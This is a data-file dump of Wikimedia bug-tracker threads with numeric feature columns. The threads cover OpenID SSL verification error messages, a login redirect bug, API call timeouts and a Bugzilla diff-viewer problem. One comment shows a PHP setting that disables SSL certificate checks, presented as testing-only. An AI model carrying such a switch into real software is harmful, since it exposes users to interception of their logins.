**Severity**: normal",Medium,50.0,1361700900,1363539993.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_description,declined,True,c2,1,False,False,True,-27,True,0.0,0.0,0.0,0.5,0.0,6.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.5,4.0,6.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,3.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,5.0,0.0,0.0,0.5,0.0,0.5,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.5,7.5,2.5,2.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.5,6.0,3.5,0.0,1.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.5,4.26056338028169,0.647887323943662,"OpenID consumer when authentication an URL show a distinct verification error message in case of untrusted (e.g. self-signed) CA

Currently, you see only the general message ""Verification error"", even when the consumer wiki knows that the CA is untrusted.

Inform the user that the verification failed because the OpenID server uses an untrusted (e.g. self-signed) certificate.


Additional improvements:

+ allow to show the server certificate fingerprints (sha-256, sha-1, md5) (must have)
+ allow to overwrite the single CA error(warning) and accept even an untrusted OpenID on extra user action. (nice to have for testing)

--------------------------
**Version**: master
**Severity**: normal"
212047,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),"I analysed the issue and found that it is an ""upstream"" problem of the php-openid library. The problem is not jeopardizing the security.

The distinct verification error message can only be shown, when the underlying php-openid library includes my patch which is sent as https://github.com/openid/php-openid/pull/92 .",,,1363539993,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,4.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,4.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,12.0,7.0,7.0,4.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,4.0,0.0,5.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,4.142857142857143,0.75,"I analysed the issue and found that it is an ""upstream"" problem of the php-openid library. The problem is not jeopardizing the security.

The distinct verification error message can only be shown, when the underlying php-openid library includes my patch which is sent as URL ."
212041,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),+ http://unitstep.net/blog/2009/05/05/using-curl-in-php-to-access-https-ssltls-protected-sites/,,,1363443570,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,+ URL
212033,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),"*** this is not yet a proposed patch ***

see http://www.php.net/manual/de/function.curl-setopt.php for curl options

ad-hoc possibility to disable host certificate checks https://gerrit.wikimedia.org/r/#/c/54123/1 :

in OpenID.php, or in your LocalSettings.php (after including the extension) add

/**
 * When this wiki is used as consumer:
 *
 * Whether OpenID https://provider-host certificates are checked (default)
 *
 * true enables SSL Certificate check
 * this is the default even when the define statement is missing
 *
 * set to false if you want to disable SSL Certificate check
 * this can only by useful for testing with self-signed certificates
 */
define( 'Auth_OpenID_VERIFY_HOST', true );

In a forthcoming version of the extension this can be part of new settings per-provider.",,,1363431663,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,1.0,0.5,5.0,0.5,0.0,0.0,0.5,2.0,1.5,0.0,0.5,0.0,0.0,0.0,3.5,10.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,4.5,3.0,0.0,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,14.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.5,8.0,2.5,0.5,6.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,10.0,3.0,0.0,1.5,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.5,0.0,3.782051282051282,0.6858974358974359,"*** this is not yet a proposed patch ***

see URL for curl options

ad-hoc possibility to disable host certificate checks URL :

in OpenID.php, or in your LocalSettings.php (after including the extension) add

/**
 * When this wiki is used as consumer:
 *
 * Whether OpenID URL certificates are checked (default)
 *
 * true enables SSL Certificate check
 * this is the default even when the define statement is missing
 *
 * set to false if you want to disable SSL Certificate check
 * this can only by useful for testing with self-signed certificates
 */
define( 'Auth_OpenID_VERIFY_HOST', true );

In a forthcoming version of the extension this can be part of new settings per-provider."
212026,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),"Just for the record: logfile looks like

[error] Got no response code when fetching https://provider/phase3/index.php/User:Username, referer: http://consumer/index.php/Spezial:OpenID-Umwandlung

[error] CURL error (60): SSL certificate problem, verify that the CA cert is OK. Details:\nerror:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed, referer: http://consumer/index.php/Spezial:OpenID-Umwandlung",,,1363427587,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,33.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,21.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,4.456140350877193,0.6842105263157895,"Just for the record: logfile looks like

[error] Got no response code when fetching URL referer: URL

[error] CURL error (60): SSL certificate problem, verify that the CA cert is OK. Details:\nerror:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed, referer: URL"
47077,"On login successful page, return to link is broken","If I was on Wikidata:Project_chat, then login, the login success page give me the following.

<a href=""//wikidata.org/wiki/Project_chat"" class=""extiw"" title=""wikidata:Project chat"">wikidata:Project chat</a>

and it redirects me to http://wikidata.org/wiki/Project_chat",Medium,50.0,1361018100,1472116982.0,PHID-USER-lzhljhpbm3qfphvqyill,False,PHID-USER-pr6rfjdcmkknkex6dgn5,False,PHID-TASK-ybywyudxfrtdi7yo6ko5,task_description,declined,True,c2,1,False,False,False,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,17.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,9.0,7.0,4.0,0.0,4.0,0.0,9.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,4.565217391304348,0.7608695652173914,"If I was on Wikidata:Project_chat, then login, the login success page give me the following.

<a href=""//wikidata.org/wiki/Project_chat"" class=""extiw"" title=""wikidata:Project chat"">wikidata:Project chat</a>

and it redirects me to URL"
717300,"On login successful page, return to link is broken","Can't reproduce either, closing this (also because this was in Feb 2013).",,,1472116982,,PHID-USER-pr6rfjdcmkknkex6dgn5,False,,,PHID-TASK-ybywyudxfrtdi7yo6ko5,task_subcomment,,True,c2,3,True,,,156,True,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6470588235294117,0.9411764705882353,"Can't reproduce either, closing this (also because this was in Feb 2013)."
668474,"On login successful page, return to link is broken",Can not reproduce.,,,1464193644,,PHID-USER-ibbxmosfonhbbhdgkv52,False,,,PHID-TASK-ybywyudxfrtdi7yo6ko5,task_subcomment,,True,c2,3,False,,,143,True,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Can not reproduce.
223233,"On login successful page, return to link is broken","this might be a config issue and nothing the extension can fix, but not sure without further investigating this",,,1361018185,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-ybywyudxfrtdi7yo6ko5,task_subcomment,,True,c2,1,False,,,-28,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.65,0.95,"this might be a config issue and nothing the extension can fix, but not sure without further investigating this"
46991,Timeout for HTTP calls to the APIs of other wikis.,"When calling the API of other wikis using HTTP, as for instance MediaWikiSite does in order to normalize page titles, provide options to Http::get() to force a reasonable timeout and perhaps other hints.

--------------------------
**Version**: master
**Severity**: enhancement",Medium,50.0,1360842300,1492960987.0,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-TASK-v2hvjyjtepl4ldowvd2g,task_description,invalid,True,c2,1,False,False,False,-28,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,4.339285714285714,0.7678571428571429,"When calling the API of other wikis using HTTP, as for instance MediaWikiSite does in order to normalize page titles, provide options to Http::get() to force a reasonable timeout and perhaps other hints.

--------------------------
**Version**: master
**Severity**: enhancement"
217581,Timeout for HTTP calls to the APIs of other wikis.,[replacing wikidata keyword by adding CC - see bug 56417],,,1383221695,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-v2hvjyjtepl4ldowvd2g,task_subcomment,,True,c2,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,4.0,1.0,[replacing wikidata keyword by adding CC - see bug 56417]
217576,Timeout for HTTP calls to the APIs of other wikis.,"Assigning this to the wikibase repo extension. The subject of this ticket is specifically, how wikibase can call out to other site's api without blocking for too long.",,,1363449465,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-v2hvjyjtepl4ldowvd2g,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.375,0.875,"Assigning this to the wikibase repo extension. The subject of this ticket is specifically, how wikibase can call out to other site's api without blocking for too long."
217572,Timeout for HTTP calls to the APIs of other wikis.,"Re Quim reassinging this bug to the API component: The ""API"" component is for bugs in the API itself. This bug is about other things calling the API on other wikis and not specifying timeouts, which is a problem in those other things.",,,1363445936,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-v2hvjyjtepl4ldowvd2g,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,2.0,6.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,16.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,4.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,2.0,6.0,0.0,0.0,0.0,3.9183673469387754,0.6938775510204082,"Re Quim reassinging this bug to the API component: The ""API"" component is for bugs in the API itself. This bug is about other things calling the API on other wikis and not specifying timeouts, which is a problem in those other things."
46777,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","* View https://bugzilla.wikimedia.org/attachment.cgi?id=829&action=edit
* Click ""View Attachment as Diff""


Request url:
https://bug-attachment.wikimedia.org/attachment.cgi?id=829

This makes it impossible to view diffs on https, and bugzilla is enforced to be on HTTPS.

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1360293600,1398336250.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-4x6z4jjcyrncydazjosh,task_description,resolved,True,c2,1,True,False,False,-29,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,9.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5892857142857144,0.6428571428571429,"* View URL
* Click ""View Attachment as Diff""


Request url:
URL

This makes it impossible to view diffs on https, and bugzilla is enforced to be on HTTPS.

--------------------------
**Version**: unspecified
**Severity**: major"
230989,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","Ah, damn it, I should have re-read my comment 11 first before adding comment 13.
Sorry for my confusion.",,,1398359452,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,3,True,,,34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,8.0,0.0,15.0,12.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3461538461538463,0.8461538461538461,"Ah, damn it, I should have re-read my comment 11 first before adding comment 13.
Sorry for my confusion."
230985,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to Ariel T. Glenn from comment #12)
> Can we try again with https in the attachment_base? (RT #2490 for the
> grody details)

I set attachment_base from
   http://bug-attachment.wikimedia.org/
to
   https://bug-attachment.wikimedia.org/
but going to 
   https://bugzilla.wikimedia.org/attachment.cgi?id=829&action=edit
I still get
   
The attachment is not viewable in your browser due to security restrictions enabled by your Bugzilla administrator.
In order to view the attachment, you first have to download it.
Actions: View | Delete 

Clicking on ""View"" I get to
  https://bugzilla.wikimedia.org/attachment.cgi?id=829
which offers to open locally in a text editor.

Not worse than before though, so I'll keep it as https://",,,1398157969,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,3,True,,,33,True,0.0,0.0,0.0,0.0,1.5,1.5,0.5,0.0,1.0,0.0,3.5,1.0,0.0,0.0,0.0,3.0,0.0,5.0,15.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,3.5,0.0,2.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,15.5,1.0,0.5,3.0,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,6.5,15.0,5.0,0.0,2.0,0.0,6.5,0.0,1.0,1.0,0.0,0.5,1.0,0.0,0.0,3.6613408521303255,0.7614348370927319,"(In reply to Ariel T. Glenn from comment #12)
QUOTE
QUOTE

I set attachment_base from
   URL
to
   URL
but going to 
   URL
I still get
   
The attachment is not viewable in your browser due to security restrictions enabled by your Bugzilla administrator.
In order to view the attachment, you first have to download it.
Actions: View | Delete 

Clicking on ""View"" I get to
  URL
which offers to open locally in a text editor.

Not worse than before though, so I'll keep it as https://"
230981,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","So view attachment works, but via a redirect to http, that can't be what we want.  Can we try again with https in the attachment_base? (rt #2490 for the grody details)",,,1397742331,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,3,False,,,33,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,5.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.425,0.925,"So view attachment works, but via a redirect to http, that can't be what we want.  Can we try again with https in the attachment_base? (rt #2490 for the grody details)"
230973,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #0)
> * View https://bugzilla.wikimedia.org/attachment.cgi?id=829&action=edit
> * Click ""View Attachment as Diff""

That's not a diff (I should have realized that earlier). 

For https://bugzilla.wikimedia.org/attachment.cgi?id=827&action=edit or https://bugzilla.wikimedia.org/attachment.cgi?id=11975&action=edit , clicking ""View Attachment as Diff"" works fine.

I'm closing this as INVALID.",,,1364148333,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,12.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,3.156862745098039,0.7647058823529411,"(In reply to comment #0)
QUOTE
QUOTE

That's not a diff (I should have realized that earlier). 

For URL or URL , clicking ""View Attachment as Diff"" works fine.

I'm closing this as INVALID."
230962,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","<LpSolit> andre: the code and comments are correct...
<LpSolit>  if ($cgi->url_is_attachment_base($bug_id)) {
<LpSolit> it will check if the URL is the one for the given attachment
<LpSolit> and if it's not, then we know there is something wrong
<LpSolit> which is what the comment says
<LpSolit>    # If we come here, this means that each bug has its own host
<LpSolit>    # for attachments, and that we are trying to view one attachment
<LpSolit>    # using another bug's host. That's not desired.
<LpSolit> you don't reach  elsif ($cgi->url_is_attachment_base) if your are viewing attachments with the correct URL",,,1363353908,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-24,True,0.5,0.5,0.0,0.0,2.0,2.5,1.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.5,2.0,0.0,3.0,7.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,8.5,1.5,1.5,1.5,1.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,1.5,8.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.0,3.5,7.5,4.0,1.5,6.5,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,5.0,7.0,5.5,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,9.5,3.616438356164384,0.6575342465753424,"<LpSolit> andre: the code and comments are correct...
<LpSolit>  if ($cgi->url_is_attachment_base($bug_id)) {
<LpSolit> it will check if the URL is the one for the given attachment
<LpSolit> and if it's not, then we know there is something wrong
<LpSolit> which is what the comment says
<LpSolit>    # If we come here, this means that each bug has its own host
<LpSolit>    # for attachments, and that we are trying to view one attachment
<LpSolit>    # using another bug's host. That's not desired.
<LpSolit> you don't reach  elsif ($cgi->url_is_attachment_base) if your are viewing attachments with the correct URL"
230951,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","Looking at the code, the inline documentation comments confuse me.
We don't use %bugid% in the attachment_base parameter of Wikimedia Bugzilla.
So attachment.cgi:293 states:
        elsif ($cgi->url_is_attachment_base) {
            # If we come here, this means that each bug has its own host for attachments
which implies that attachment.cgi:264:
        if ($cgi->url_is_attachment_base($bug_id)) {
would be executed if there is no %bugid% substring in attachment_base, right?
But in Bugzilla/CGI.pm:510's url_is_attachment_base() the comment says:
# If we're passed an id, we only want one specific attachment base for a particular bug.
Feels contradicting, but maybe I miss something obvious.

Wild guesses: There are some calls for
* do_ssl_redirect_if_required()
* redirect_to_urlbase()
in attachment.cgi which might be the reason for our issues?",,,1362762954,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-25,True,1.0,0.5,0.0,0.5,0.5,4.5,0.5,0.0,0.0,2.0,3.0,1.0,0.0,0.5,1.0,4.5,0.5,2.5,8.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,7.0,3.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,11.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,3.0,1.0,7.0,0.0,0.0,0.0,1.0,1.5,0.0,0.5,0.0,5.0,8.5,5.0,1.0,0.0,0.0,5.0,0.0,1.0,1.0,0.5,1.5,0.0,0.0,0.0,4.561857184836908,0.7635909491625037,"Looking at the code, the inline documentation comments confuse me.
We don't use %bugid% in the attachment_base parameter of Wikimedia Bugzilla.
So attachment.cgi:293 states:
        elsif ($cgi->url_is_attachment_base) {
            # If we come here, this means that each bug has its own host for attachments
which implies that attachment.cgi:264:
        if ($cgi->url_is_attachment_base($bug_id)) {
would be executed if there is no %bugid% substring in attachment_base, right?
But in Bugzilla/CGI.pm:510's url_is_attachment_base() the comment says:
# If we're passed an id, we only want one specific attachment base for a particular bug.
Feels contradicting, but maybe I miss something obvious.

